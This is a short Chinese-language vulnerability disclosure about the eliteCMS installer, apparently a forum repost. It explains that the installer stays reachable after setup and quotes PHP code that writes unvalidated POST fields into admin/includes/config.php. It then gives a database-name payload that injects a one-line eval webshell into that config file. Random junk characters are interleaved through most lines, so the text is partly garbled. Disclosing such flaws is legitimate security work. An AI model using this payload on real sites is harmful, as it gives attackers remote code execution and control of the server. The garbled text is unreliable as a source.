eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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/ Y1 G! ^! ]9 X% i, p3 G2 d另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
1 M0 l. M3 O. k4 e7 J1 a我们来看代码：

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elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
# D) [$ y. Q! Y' q    $write = "<?php\n";
    $write .= "/**\n";
6 p% f! [3 t/ K% C1 v    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
0 C; B9 z3 E! ]    $write .= "*\n";
    $write .= "*/\n";
) C1 f+ f/ B# Y( F    $write .= "\n";
7 f9 ]% w( m* g    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( o8 M. M4 c1 N# k- R# K    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
  d$ V" G, F1 o4 f% D# a    $write .= "        \n";
8 Y* F* v4 r. ^: W    $write .= "} \n";
9 h/ {. x8 G  f  u    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
1 V. W7 R, r3 ]( _    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
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, o, [% r8 p( A! z  p) X在看代码：

# t' U# [: Z. F' Q( p$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
9 T- |7 v. S+ Q3 n/ C$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

: E+ t. W4 [! |; j1 g取值未作任何验证
如果将数据库名POST数据：
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& n6 G4 T& W- p"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php
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